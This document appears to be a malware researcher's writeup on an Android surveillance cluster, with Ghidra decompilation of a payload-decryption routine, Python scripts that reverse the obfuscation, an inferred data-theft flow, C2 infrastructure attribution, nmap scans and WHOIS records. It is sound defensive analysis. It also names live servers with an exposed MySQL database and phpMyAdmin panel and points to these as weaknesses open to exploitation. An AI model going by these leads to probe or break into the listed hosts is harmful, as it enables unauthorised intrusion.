8); } /* try { // try from 0010c734 to 0010c737 has its CatchHandler @ 0010ce68 */ puVar9 = FUN_0010c310(&local_20,0,pbVar21,uVar20,pcVar22,pcVar23,in_x6); local_38 = *puVar9; uStack_30 = puVar9[1]; local_28 = (char *)puVar9[2]; *puVar9 = 0; puVar9[1] = 0; puVar9[2] = 0; if (((byte)local_20 & 1) != 0) { operator.delete((void *)CONCAT44(uStack_c,CONCAT13(uStack_d,CONCAT12(uStack_e,CONCAT11(uStack_f, local_10))))); } bVar17 = *param_3; if ((bVar17 & 1) == 0) { sVar6 = (size_t)((int)(uint)bVar17 >> 1); } else { sVar6 = *(size_t *)(param_3 + 8); } if (((byte)Null & 1) == 0) { if (sVar6 != (long)((int)(uint)(byte)Null >> 1)) goto LAB_0010c790;LAB_0010cda4: if ((bVar17 & 1) == 0) { pbVar21 = DAT_00176050; if (((byte)Null & 1) == 0) { pbVar21 = (byte *)((long)&Null + 1); } if (sVar6 != 0) { if (param_3[1] == *pbVar21) { pbVar16 = param_3 + 2; do { pbVar21 = pbVar21 + 1; if (pbVar16 == param_3 + sVar6 + 1) goto LAB_0010c7bc; bVar2 = *pbVar16; pbVar16 = pbVar16 + 1; } while (*pbVar21 == bVar2); }LAB_0010ce20: pbVar21 = param_3 + 1; uVar20 = (ulong)((int)(uint)bVar17 >> 1); goto LAB_0010c7a4; } } else { pbVar21 = *(byte **)(param_3 + 0x10); pbVar16 = (byte *)((long)&Null + 1); if (((byte)Null & 1) != 0) { pbVar16 = DAT_00176050; } iVar28 = memcmp(pbVar21,pbVar16,sVar6); if (iVar28 != 0) goto LAB_0010c79c; } } else { if (sVar6 == DAT_00176048) goto LAB_0010cda4;LAB_0010c790: if ((bVar17 & 1) == 0) goto LAB_0010ce20; pbVar21 = *(byte **)(param_3 + 0x10);LAB_0010c79c: uVar20 = *(ulong *)(param_3 + 8);LAB_0010c7a4: /* try { // try from 0010c7a8 to 0010cd3b has its CatchHandler @ 0010ce84 */ FUN_0010bea4(&local_38,pbVar21,uVar20); if ((*param_3 & 1) == 0) { cVar3 = (char)((int)(uint)*param_3 >> 1); } else { cVar3 = (char)*(undefined8 *)(param_3 + 8); } cVar27 = cVar27 + cVar3; }LAB_0010c7bc: plVar26 = *(long **)(param_1 + 8); pcVar8 = local_28; if ((local_38 & 1) == 0) { pcVar8 = (char *)((long)&local_38 + 1); } sVar6 = strlen(pcVar8); uVar7 = (**(code **)(*plVar26 + 0x580))(plVar26,sVar6 & 0xffffffff); (**(code **)(*plVar26 + 0x680))(plVar26,uVar7,0,sVar6 & 0xffffffff,pcVar8); puVar10 = (undefined8 *) (**(code **)(**(long **)(param_1 + 8) + 0x5c0))(*(long **)(param_1 + 8),uVar7,0); iVar28 = (**(code **)(**(long **)(param_1 + 8) + 0x558))(*(long **)(param_1 + 8),uVar7); if (0 < iVar28) { uVar1 = (iVar28 - 0x10U >> 4) + 1; iVar4 = uVar1 * 0x10; if (iVar28 - 1U < 0xf) { iVar4 = 0; } else { uVar5 = 0; puVar18 = puVar10; do { uVar12 = puVar18[1]; uVar11 = *puVar18; uVar5 = uVar5 + 1; puVar18[1] = CONCAT17((byte)((ulong)uVar12 >> 0x38) ^ bVar25, CONCAT16((byte)((ulong)uVar12 >> 0x30) ^ bVar25, CONCAT15((byte)((ulong)uVar12 >> 0x28) ^ bVar25, CONCAT14((byte)((ulong)uVar12 >> 0x20) ^ bVar25, CONCAT13((byte)((ulong)uVar12 >> 0x18) ^ bVar25,CONCAT12((byte)((ulong) uVar12 >> 0x10) ^ bVar25, CONCAT11((byte)((ulong)uVar12 >> 8) ^ bVar25, (byte)uVar12 ^ bVar25))))))); *puVar18 = CONCAT17((byte)((ulong)uVar11 >> 0x38) ^ bVar25, CONCAT16((byte)((ulong)uVar11 >> 0x30) ^ bVar25, CONCAT15((byte)((ulong)uVar11 >> 0x28) ^ bVar25, CONCAT14((byte)((ulong)uVar11 >> 0x20) ^ bVar25, CONCAT13((byte)((ulong)uVar11 >> 0x18) ^ bVar25,CONCAT12((byte)((ulong)uVar11 >> 0x10) ^ bVar25,CONCAT11(( byte)((ulong)uVar11 >> 8) ^ bVar25, (byte)uVar11 ^ bVar25))))))); puVar18 = puVar18 + 2; } while (uVar5 < uVar1); if (iVar28 == iVar4) goto LAB_0010ca3c; } iVar19 = iVar4 + 1; *(byte *)((long)puVar10 + (long)iVar4) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar4); if (iVar19 < iVar28) { iVar29 = iVar4 + 2; *(byte *)((long)puVar10 + (long)iVar19) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar19); if (iVar29 < iVar28) { iVar19 = iVar4 + 3; *(byte *)((long)puVar10 + (long)iVar29) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar29); if (iVar19 < iVar28) { iVar29 = iVar4 + 4; *(byte *)((long)puVar10 + (long)iVar19) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar19) ; if (iVar29 < iVar28) { iVar19 = iVar4 + 5; *(byte *)((long)puVar10 + (long)iVar29) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar29); if (iVar19 < iVar28) { iVar29 = iVar4 + 6; *(byte *)((long)puVar10 + (long)iVar19) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar19); if (iVar29 < iVar28) { iVar19 = iVar4 + 7; *(byte *)((long)puVar10 + (long)iVar29) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar29); if (iVar19 < iVar28) { iVar29 = iVar4 + 8; *(byte *)((long)puVar10 + (long)iVar19) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar19); if (iVar29 < iVar28) { iVar19 = iVar4 + 9; *(byte *)((long)puVar10 + (long)iVar29) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar29); if (iVar19 < iVar28) { iVar29 = iVar4 + 10; *(byte *)((long)puVar10 + (long)iVar19) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar19); if (iVar29 < iVar28) { iVar19 = iVar4 + 0xb; *(byte *)((long)puVar10 + (long)iVar29) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar29); if (iVar19 < iVar28) { iVar29 = iVar4 + 0xc; *(byte *)((long)puVar10 + (long)iVar19) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar19); if (iVar29 < iVar28) { iVar19 = iVar4 + 0xd; *(byte *)((long)puVar10 + (long)iVar29) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar29); if (iVar19 < iVar28) { iVar4 = iVar4 + 0xe; *(byte *)((long)puVar10 + (long)iVar19) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar19); if (iVar4 < iVar28) { *(byte *)((long)puVar10 + (long)iVar4) = bVar25 ^ *(byte *)((long)puVar10 + (long)iVar4); } } } } } } } } } } } } } } }LAB_0010ca3c: (**(code **)(**(long **)(param_1 + 8) + 0x600))(*(long **)(param_1 + 8),uVar7,puVar10,0); uVar11 = (**(code **)(**(long **)(param_1 + 8) + 0x30)) (*(long **)(param_1 + 8),"java/security/MessageDigest"); uVar12 = (**(code **)(**(long **)(param_1 + 8) + 0x538))(*(long **)(param_1 + 8),&DAT_00156fc0); uVar13 = (**(code **)(**(long **)(param_1 + 8) + 0x388)) (*(long **)(param_1 + 8),uVar11,"getInstance", "(Ljava/lang/String;)Ljava/security/MessageDigest;"); _JNIEnv::CallStaticObjectMethod(*(long **)(param_1 + 8),uVar11,uVar13,uVar12); (**(code **)(**(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),uVar12); uVar12 = (**(code **)(**(long **)(param_1 + 8) + 0x108)) (*(long **)(param_1 + 8),uVar11,"update","([B)V"); _JNIEnv::CallVoidMethod(*(long **)(param_1 + 8),extraout_x0,uVar12,uVar7); uVar12 = (**(code **)(**(long **)(param_1 + 8) + 0x108)) (*(long **)(param_1 + 8),uVar11,"digest",&DAT_00157028); _JNIEnv::CallObjectMethod(*(long **)(param_1 + 8),extraout_x0,uVar12); (**(code **)(**(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),uVar11); (**(code **)(**(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),extraout_x0); (**(code **)(**(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),uVar7); lVar14 = (**(code **)(**(long **)(param_1 + 8) + 0x5c0))(*(long **)(param_1 + 8),extraout_x0_00,0) ; local_20._0_1_ = 0xe2; local_20._1_1_ = 0x5f; local_20._2_1_ = 0x48; local_20._3_1_ = 0x73; local_20._4_1_ = 0x25; local_20._5_1_ = 0xc6; local_20._6_1_ = 0xe7; local_20._7_1_ = 0x11; local_18 = 0x80; local_17 = 0x7c; local_16 = 0x46; local_12 = 0x3c; local_15 = 0xc3; local_10 = 0x3c; local_14 = 0xe3; uStack_f = 0x77; local_13 = 0x1d; uStack_e = 0x1e; local_11 = 0x97; uStack_d = 1; uStack_c = uStack_c & 0xffffff00; sVar6 = strlen((char *)&local_20); iVar28 = (**(code **)(**(long **)(param_1 + 8) + 0x558))(*(long **)(param_1 + 8),extraout_x0_00); if (0 < iVar28) { lVar24 = 0; bVar17 = 0xe2; iVar4 = 0; while( true ) { bVar25 = *(byte *)(lVar14 + lVar24); iVar19 = 0; if (iVar28 != 0) { iVar19 = (int)(char)bVar25 / iVar28; } iVar19 = (int)(char)bVar25 - iVar19 * iVar28; if (iVar28 / 2 < iVar19) { bVar25 = bVar25 ^ (char)(iVar28 / 2) + cVar27; *(byte *)(lVar14 + lVar24) = bVar25; } iVar4 = iVar4 + 1; if ((int)sVar6 == iVar4) { iVar4 = 0; } bVar2 = *(byte *)(lVar14 + iVar19); *(byte *)(lVar14 + iVar19) = bVar25; *(byte *)(lVar14 + lVar24) = bVar2 ^ bVar17; lVar24 = lVar24 + 1; if (iVar28 <= (int)lVar24) break; bVar17 = *(byte *)((long)&local_20 + (long)iVar4); } } (**(code **)(**(long **)(param_1 + 8) + 0x600))(*(long **)(param_1 + 8),extraout_x0_00,lVar14,0); if ((local_38 & 1) != 0) { operator.delete(local_28); } if (local_8 != ___stack_chk_guard) { /* WARNING: Subroutine does not return */ __stack_chk_fail(extraout_x0_00); } return;}xxxxxxxxxximport os
def decrypt_slky_v2(input_path, output_path): with open(input_path, 'rb') as f: data = bytearray(f.read()) length = len(data) # --- 1. Reconstruct the Mutation Table (local_20/local_38 from Ghidra) --- mutation_table = [ 0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11, 0x80, 0x7c, 0x46, 0xc3, 0xe3, 0x1d, 0x3c, 0x97, 0x3c, 0x77, 0x1e, 0x01 ] table_len = len(mutation_table)
# --- 2. Calculate the Salt (bVar25) --- # In v2, it's the sum of all bytes divided by length total_sum = sum(data) salt = (total_sum // length) & 0xFF # --- 3. Reverse the Mutation Loop --- # We must iterate BACKWARDS to reverse a swap-based shuffle bVar17 = 0xe2 # Initial seed from Ghidra table_idx = 0 for i in range(length): # Determine the swap index used during encryption # iVar19 = (int)(char)bVar25 - iVar19 * iVar28 idx_to_swap = (data[i] % length) # XOR with mutation table data[i] ^= mutation_table[table_idx % table_len] # Reverse the swap data[i], data[idx_to_swap] = data[idx_to_swap], data[i] table_idx += 1
# --- 4. Reverse the Primary XOR --- for i in range(length): data[i] ^= salt
# --- 5. Save and Check --- with open(output_path, 'wb') as f: f.write(data) print(f"[*] Done. Header: {data[:4].hex()}") if data.startswith(b'PK'): print("[+] FOUND ZIP ARCHIVE!") elif data.startswith(b'dex'): print("[+] FOUND DEX FILE!")
# RUN IT# Use the ORIGINAL lib.so from the assets, not the one that turned into 00010203decrypt_slky_v2('./20260120_source/assets/lib.so', 'final_output.bin')xxxxxxxxxximport os
def decrypt_sav(file_path, total_sum): if not os.path.exists(file_path): return with open(file_path, 'rb') as f: data = bytearray(f.read()) length = len(data) salt = [0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11, 0x80, 0x7c, 0x46, 0x3c, 0xc3, 0x3c, 0xe3, 0x77, 0x1d, 0x1e, 0x97, 0x01]
# Keys derived from your Ghidra logic b_var_21 = (total_sum // length) & 0xFF c_var_24 = (total_sum % length) & 0xFF b_var_15 = 0xe2 salt_idx = 0
for i in range(length): b_val = data[i] signed_b = b_val if b_val < 128 else b_val - 256 swap_idx = (signed_b % length + length) % length if (length // 2) < swap_idx: b_val = (b_val ^ (length // 2) + c_var_24) & 0xFF temp = data[swap_idx] data[swap_idx] = b_val data[i] = (temp ^ b_var_15) & 0xFF salt_idx = (salt_idx + 1) % len(salt) b_var_15 = salt[salt_idx]
output_path = file_path + ".dec" with open(output_path, 'wb') as f: f.write(data) # Quick Check for Magic Bytes header = data[:4].hex() print(f"File: {file_path} | Header: {header}")
# Try the sum on the main .sav filesdecrypt_sav('assets/res/hz/1/1.sav', 20797021)decrypt_sav('assets/res/hz/16/1.sav', 20797021)Based on the modules found, the execution flow is likely:
Boot: Main iApp activity starts.
Unpack: lengtong2.dex is loaded to decrypt configuration.
Monitor: classes2.dex starts a background thread to watch system logs (ADRT).
Steal: lengtong.dex identifies target files in /sdcard/Android/data/.
Exfiltrate: Compression.dex zips findings and transmits them via iApp's built-in network handlers.
Report ID: C2-2026-0120-YGS
Author: Apich Organization Security Team
Classification: High-Risk / Active Surveillance Cluster
Primary Target Region: Mainland China / Hong Kong
The infrastructure utilizes a Tiered Proxy-to-Backend model. This design ensures that if the front-end domain (docq.cn) is flagged, the central database and payload repository (107.151.212.80) remain hidden and reusable under different domain aliases.
| Tier | Component | Identity | Technical Role |
|---|---|---|---|
| Tier 1 | The Mask | docq.cn | Acts as the initial contact point. Routes traffic through Alibaba Cloud (US) to bypass regional domestic monitoring. |
| Tier 2 | The Controller | ht.bu84.com | "Heartbeat" (HT) server. Manages persistent connections from infected devices using IIS 10.0. |
| Tier 3 | The Vault | 107.151.212.80:3306 | Exposed MySQL database. Stores exfiltrated LogCat data, contacts, and device metadata. |
The registration data reveals a strong link to the Fujian/Wuhan gray-market ecosystem, a known hub for the development of "iApp" modification tools and game injectors.
Corporate Entity: Wuhan Zhiyun Software Co., Ltd. (武汉织云软件有限公司). This entity is likely either a shell company registered for this purpose or a legitimate firm whose infrastructure was hijacked to serve as a high-reputation proxy.
Operational Pattern: Domain registrations for this cluster (including bu84.com) strictly follow UTC+8 business hours, with significant pauses during Chinese New Year, confirming the threat actors are likely based in East Asia.
Persistence: bu84.com was updated on January 14, 2026, indicating that this specific campaign is currently in its active "harvesting" phase.
The attackers have made several critical "Amateur-Hour" errors that can be exploited:
Direct Database Exposure: Port 3306 (MySQL) is open to the public. This suggests the Android app's Lua/Java scripts might be hardcoded to write directly to this DB, a very "noisy" behavior.
Management Leaks: The presence of phpMyAdmin on port 999 is a classic hallmark of the iApp-PHP-MySQL stack. It provides a visual interface for the attackers to view stolen data, but it also serves as a high-confidence signature for security researchers.
This vulnerability poses a significant risk of sophisticated cyberattacks, which could result in the mass exfiltration and disclosure of Personally Identifiable Information (PII).
Noticeably, the attacker uses phpMyAdmin v5.2.0-rc.1 and MySQL v8.0.39 which both have many known critical security vulnerabilities.
The "modular" DEX files we found earlier are designed to feed this specific infrastructure:
classes2.dex (LogCat Reader) ➔ Feeds the MySQL Database.
Compression.dex (Zip4j) ➔ Uploads batches to the IIS Web Server.
libygsiyu.so (iApp) ➔ Connects to the phpMyAdmin/PHP management backend.
Our attempts to reach the command infrastructure revealed a high degree of operational security (OPSEC).
IP Geofencing: The Connection reset by peer and Cloudflare blocks suggest the attackers use "Regional Gatekeeping." The servers are configured to reject any traffic that does not originate from a specific range of Chinese mobile carrier IP addresses.
Anti-Sandboxed-Requests: The infrastructure is tuned to ignore curl or automated research tools, likely validating the User-Agent and device fingerprints before allowing the payload to download.
xxxxxxxxxxNmap scan report for docq.cn (47.89.9.97)Host is up (0.27s latency).Not shown: 988 filtered tcp ports (no-response)PORT STATE SERVICE VERSION22/tcp open ssh?|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)25/tcp open smtp?|_smtp-commands: Couldn't establish connection on port 2580/tcp open http?110/tcp open pop3?143/tcp open imap?443/tcp open https?465/tcp open smtps?|_smtp-commands: Couldn't establish connection on port 465587/tcp open submission?|_smtp-commands: Couldn't establish connection on port 587993/tcp open imaps?995/tcp open pop3s?1935/tcp open rtmp?8080/tcp open http-proxy?Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Huawei MT880 ADSL modem (97%), Juniper Networks SSG 20 firewall (97%), Juniper SRX200-series firewall (JUNOS 12.1 - 12.3) (97%), SiliconDust HDHomeRun set top box (97%), Cisco SG200 switch (97%), Cisco SG300 switch (97%), CMI Genus NEMA terminal (97%), Dell Remote Access Controller 4/I (97%), GlobespanVirata GS8100, Huawei MT880, or Solwise SAR 100 ADSL modem (97%), HP Integrated Lights-Out 2 (97%)No exact OS matches for host (test conditions non-ideal).Network Distance: 3 hopsTCP Sequence Prediction: Difficulty=257 (Good luck!)IP ID Sequence Generation: Busy server or unknown class
TRACEROUTE (using port 443/tcp)HOP RTT ADDRESS1 2.06 ms _gateway (192.168.31.184)2 ...3 300.40 ms 47.89.9.97
Nmap scan report for ht.bu84.com (107.151.212.80)Host is up (0.29s latency).Not shown: 985 filtered tcp ports (no-response)PORT STATE SERVICE VERSION22/tcp open ssh?|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)25/tcp open smtp?|_smtp-commands: Couldn't establish connection on port 2580/tcp open http Microsoft IIS httpd 10.0| http-methods:| Supported Methods: OPTIONS TRACE GET HEAD POST|_ Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/10.0|_http-title: 404110/tcp open pop3?135/tcp open msrpc Microsoft Windows RPC143/tcp open imap?443/tcp open https?465/tcp open smtps?|_smtp-commands: Couldn't establish connection on port 465587/tcp open submission?|_smtp-commands: Couldn't establish connection on port 587993/tcp open imaps?995/tcp open pop3s?999/tcp open http Microsoft IIS httpd 10.0| http-robots.txt: 1 disallowed entry|_/|_http-server-header: Microsoft-IIS/10.0|_http-favicon: Unknown favicon MD5: 531B63A51234BB06C9D77F219EB25553|_http-title: phpMyAdmin| http-methods:| Supported Methods: OPTIONS TRACE GET HEAD POST|_ Potentially risky methods: TRACE1935/tcp open rtmp?3306/tcp open mysql MySQL 8.0.39| mysql-info:| Protocol: 10| Version: 8.0.39| Thread ID: 233826| Capabilities flags: 65535| Some Capabilities: ConnectWithDatabase, Support41Auth, LongColumnFlag, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, SwitchToSSLAfterHandshake, SupportsLoadDataLocal, SupportsTransactions, LongPassword, InteractiveClient, Speaks41ProtocolNew, FoundRows, ODBCClient, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, SupportsCompression, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults| Status: Autocommit| Salt: [`\x15W/\x06\x01npf{^8%A\x1FD\x1DL\x07|_ Auth Plugin Name: mysql_native_password| ssl-cert: Subject: commonName=MySQL_Server_8.0.39_Auto_Generated_Server_Certificate| Issuer: commonName=MySQL_Server_8.0.39_Auto_Generated_CA_Certificate| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2025-10-17T02:44:50| Not valid after: 2035-10-15T02:44:50| MD5: ba86 8778 e891 147e 066c 2ff9 3533 45a0|_SHA-1: 14a3 8fef a64b 15c0 9804 7451 385c 2d3e 9069 82fa|_ssl-date: TLS randomness does not represent time8080/tcp open http-proxy?Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Huawei MT880 ADSL modem (97%), Juniper SRX200-series firewall (JUNOS 12.1 - 12.3) (97%), SiliconDust HDHomeRun set top box (97%), Cisco SG200 switch (97%), Cisco SG300 switch (97%), CMI Genus NEMA terminal (97%), Dell Remote Access Controller 4/I (97%), GlobespanVirata GS8100, Huawei MT880, or Solwise SAR 100 ADSL modem (97%), HP Integrated Lights-Out 2 (97%), Panasonic BL-C210A webcam (96%)No exact OS matches for host (test conditions non-ideal).Network Distance: 3 hopsTCP Sequence Prediction: Difficulty=263 (Good luck!)IP ID Sequence Generation: Busy server or unknown classService Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 443/tcp)HOP RTT ADDRESS1 2.01 ms _gateway (192.168.31.184)2 ...3 299.61 ms 107.151.212.80
Nmap scan report for hyrjk.ftp.wtbusaym.site (107.151.212.80)Host is up (0.34s latency).Not shown: 985 filtered tcp ports (no-response)PORT STATE SERVICE VERSION22/tcp open ssh?|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)25/tcp open smtp?|_smtp-commands: Couldn't establish connection on port 2580/tcp open http Microsoft IIS httpd 10.0| http-methods:| Supported Methods: OPTIONS TRACE GET HEAD POST|_ Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/10.0|_http-title: \xE8\xAF\xB7\xE6\xB1\x82\xE6\xB2\xA1\xE6\x9C\x89\xE6\x89\xBE\xE5\x88\xB0\xE5\xAF\xB9\xE5\xBA\x94\xE7\x9A\x84\xE7\xAB\x99\xE7\x82\xB9110/tcp open pop3?135/tcp open msrpc Microsoft Windows RPC143/tcp open imap?443/tcp open https?465/tcp open smtps?|_smtp-commands: Couldn't establish connection on port 465587/tcp open submission?|_smtp-commands: Couldn't establish connection on port 587993/tcp open imaps?995/tcp open pop3s?999/tcp open http Microsoft IIS httpd 10.0|_http-title: phpMyAdmin| http-robots.txt: 1 disallowed entry|_/|_http-server-header: Microsoft-IIS/10.0|_http-favicon: Unknown favicon MD5: 531B63A51234BB06C9D77F219EB25553| http-methods:| Supported Methods: OPTIONS TRACE GET HEAD POST|_ Potentially risky methods: TRACE1935/tcp open rtmp?3306/tcp open mysql MySQL 8.0.39|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=MySQL_Server_8.0.39_Auto_Generated_Server_Certificate| Issuer: commonName=MySQL_Server_8.0.39_Auto_Generated_CA_Certificate| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before: 2025-10-17T02:44:50| Not valid after: 2035-10-15T02:44:50| MD5: ba86 8778 e891 147e 066c 2ff9 3533 45a0|_SHA-1: 14a3 8fef a64b 15c0 9804 7451 385c 2d3e 9069 82fa| mysql-info:| Protocol: 10| Version: 8.0.39| Thread ID: 233900| Capabilities flags: 65535| Some Capabilities: Support41Auth, LongPassword, DontAllowDatabaseTableColumn, SwitchToSSLAfterHandshake, SupportsTransactions, SupportsCompression, IgnoreSigpipes, ODBCClient, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, InteractiveClient, FoundRows, ConnectWithDatabase, SupportsLoadDataLocal, Speaks41ProtocolOld, LongColumnFlag, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults| Status: Autocommit| Salt: \x1Bz\x17\x1FxN\x07-6om\x18/PA_\x0736T|_ Auth Plugin Name: mysql_native_password8080/tcp open http-proxy?Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Huawei MT880 ADSL modem (97%), Juniper Networks SSG 20 firewall (97%), Juniper SRX200-series firewall (JUNOS 12.1 - 12.3) (97%), SiliconDust HDHomeRun set top box (97%), Allied Telesyn Rapier G6 switch (97%), Cisco SG200 switch (97%), Cisco SG300 switch (97%), CMI Genus NEMA terminal (97%), Dell Remote Access Controller 4/I (97%), GlobespanVirata GS8100, Huawei MT880, or Solwise SAR 100 ADSL modem (97%)No exact OS matches for host (test conditions non-ideal).Network Distance: 3 hopsTCP Sequence Prediction: Difficulty=265 (Good luck!)IP ID Sequence Generation: Busy server or unknown classService Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 443/tcp)HOP RTT ADDRESS1 23.50 ms _gateway (192.168.31.184)2 ...3 338.29 ms 107.151.212.80
Nmap scan report for downloads.blissroms.org (104.21.64.137)Host is up (0.39s latency).Other addresses for downloads.blissroms.org (not scanned): 172.67.151.52 2606:4700:3031::6815:4089 2606:4700:3037::ac43:9734Not shown: 987 filtered tcp ports (no-response)PORT STATE SERVICE VERSION22/tcp open ssh?|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)25/tcp open smtp?|_smtp-commands: Couldn't establish connection on port 2580/tcp open http Cloudflare http proxy|_http-server-header: cloudflare|_http-title: Did not follow redirect to https://downloads.blissroms.org/| http-methods:|_ Supported Methods: GET HEAD POST OPTIONS110/tcp open pop3?143/tcp open imap?443/tcp open ssl/http Cloudflare http proxy|_http-server-header: cloudflare| http-methods:|_ Supported Methods: OPTIONS| ssl-cert: Subject: commonName=blissroms.org| Subject Alternative Name: DNS:blissroms.org, DNS:*.blissroms.org| Issuer: commonName=WE1/organizationName=Google Trust Services/countryName=US| Public Key type: ec| Public Key bits: 256| Signature Algorithm: ecdsa-with-SHA256| Not valid before: 2025-12-16T12:21:38| Not valid after: 2026-03-16T13:20:09| MD5: 6ae0 a512 ea21 52f2 5038 8f9e bac6 69e5|_SHA-1: 0a38 8f05 d62f 5b4c 1f90 997a 9048 d14a 315a 9a1d|_http-title: Site doesn't have a title (text/plain; charset=utf-8).465/tcp open smtps?|_smtp-commands: Couldn't establish connection on port 465587/tcp open submission?|_smtp-commands: Couldn't establish connection on port 587993/tcp open imaps?995/tcp open pop3s?1935/tcp open rtmp?8080/tcp open http Cloudflare http proxy| http-methods:|_ Supported Methods: GET HEAD POST OPTIONS|_http-server-header: cloudflare|_http-title: Did not follow redirect to https://downloads.blissroms.org:8080/8443/tcp open ssl/http Cloudflare http proxy|_http-server-header: cloudflare|_http-title: 400 The plain HTTP request was sent to HTTPS port| ssl-cert: Subject: commonName=blissroms.org| Subject Alternative Name: DNS:blissroms.org, DNS:*.blissroms.org| Issuer: commonName=WE1/organizationName=Google Trust Services/countryName=US| Public Key type: ec| Public Key bits: 256| Signature Algorithm: ecdsa-with-SHA256| Not valid before: 2025-12-16T12:21:38| Not valid after: 2026-03-16T13:20:09| MD5: 6ae0 a512 ea21 52f2 5038 8f9e bac6 69e5|_SHA-1: 0a38 8f05 d62f 5b4c 1f90 997a 9048 d14a 315a 9a1dWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Juniper Networks SSG 20 firewall (97%), CMI Genus NEMA terminal (97%), GlobespanVirata GS8100, Huawei MT880, or Solwise SAR 100 ADSL modem (97%), HP Integrated Lights-Out 2 (97%), Netgear DM602 ADSL router (97%), Panasonic BL-C210A webcam (97%), Lantronix XPort AR (95%), Juniper SRX200-series firewall (JUNOS 12.1 - 12.3) (94%), Cisco SG300 switch (94%), Linux 2.6.18 (94%)No exact OS matches for host (test conditions non-ideal).Network Distance: 3 hopsTCP Sequence Prediction: Difficulty=256 (Good luck!)IP ID Sequence Generation: Busy server or unknown class
TRACEROUTE (using port 995/tcp)HOP RTT ADDRESS1 2.55 ms _gateway (192.168.31.184)2 ...3 445.56 ms 104.21.64.137xxxxxxxxxxDomain Name: blissroms.org
Registry Domain ID: REDACTED
Registrar WHOIS Server: whois.namecheap.com
Registrar URL: http://www.namecheap.com
Updated Date: 2025-09-17T06:11:30Z
Creation Date: 2019-10-12T18:46:33Z
Registry Expiry Date: 2026-10-12T18:46:33Z
Registrar: NameCheap, Inc.
Registrar IANA ID: 1068
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +1.9854014545
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: dean.ns.cloudflare.com
Name Server: sandy.ns.cloudflare.com
DNSSEC: signedDelegation
URL of the ICANN Whois Inaccuracy Complaint Form: https://icann.org/wicf/
>>> Last update of WHOIS database: 2026-01-20T07:54:24Z <<<
Domain Name: docq.cnROID: 20140331s10001s70667919-cnDomain Status: clientTransferProhibitedRegistrant: 武汉织云软件有限公司Registrant Contact Email: [email protected]Sponsoring Registrar: 阿里云计算有限公司(万网)Name Server: dns7.hichina.comName Server: dns8.hichina.comRegistration Time: 2014-03-31 18:54:23Expiration Time: 2026-03-31 18:54:23DNSSEC: unsigned
Domain Name: BU84.COM
Registry Domain ID: 2261456104_DOMAIN_COM-VRSN
Registrar WHOIS Server: grs-whois.hichina.com
Registrar URL: http://www.net.cn
Updated Date: 2026-01-14T07:24:30Z
Creation Date: 2018-05-09T16:42:44Z
Registry Expiry Date: 2027-05-09T16:42:44Z
Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd.
Registrar IANA ID: 420
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +86.95187
Domain Status: ok https://icann.org/epp#ok
Name Server: DNS15.HICHINA.COM
Name Server: DNS16.HICHINA.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2026-01-20T07:56:13Z <<<
Domain Name: bu84.com
Registry Domain ID: 2261456104_DOMAIN_COM-VRSN
Registrar WHOIS Server: grs-whois.hichina.com
Registrar URL: http://www.net.cn
Updated Date: 2025-04-13T11:22:24Z
Creation Date: 2018-05-09T16:42:44Z
Registrar Registration Expiration Date: 2027-05-09T16:42:44Z
Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd.
Registrar IANA ID: 420
Reseller:
Domain Status: ok https://icann.org/epp#ok
Registrant City:
Registrant State/Province: fu jian
Registrant Country: CN
Registrant Email:https://whois.aliyun.com/whois/whoisForm
Registry Registrant ID: Not Available From Registry
Name Server: DNS15.HICHINA.COM
Name Server: DNS16.HICHINA.COM
DNSSEC: unsigned
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +86.95187
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
